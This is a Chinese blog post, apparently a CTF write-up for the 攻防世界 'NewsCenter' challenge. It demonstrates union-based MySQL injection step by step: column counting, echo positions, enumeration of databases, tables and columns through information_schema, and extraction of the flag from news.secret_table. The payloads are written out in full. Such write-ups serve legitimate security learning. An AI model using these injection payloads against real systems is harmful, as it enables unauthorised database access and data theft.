攻防世界NewsCenter

最新推荐文章于 2024-05-18 20:54:16 发布

听门外雪花飞

最新推荐文章于 2024-05-18 20:54:16 发布

阅读量773

点赞数 1

分类专栏： ctf刷题纪文章标签： sql 数据库 mysql

本文链接：https://blog.csdn.net/weixin_52268949/article/details/122655225

版权

48 篇文章 3 订阅

订阅专栏

打开题目是一个搜索框我们首先尝试一下sql注入

在这里插入图片描述

判断了一下是使用’'进行包裹的字符型sql注入

然后我们需要判断数据库列数

1' order by 3#

回显正常但by4的时候回显就不正常了

在这里插入图片描述

所以判断数据库有三列

下面就是一些常规操作了，首先看看回显位

-1' union select 1,2,3#

在这里插入图片描述

写-1的原因是不要让正常数据影响到我们注入测出的结果

测试数据库

-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#

在这里插入图片描述

测试表

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#

测试字段

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

在这里插入图片描述

下面把字段值测出来即可

-1' union select 1,2,fl4g from news.secret_table#

在这里插入图片描述

关注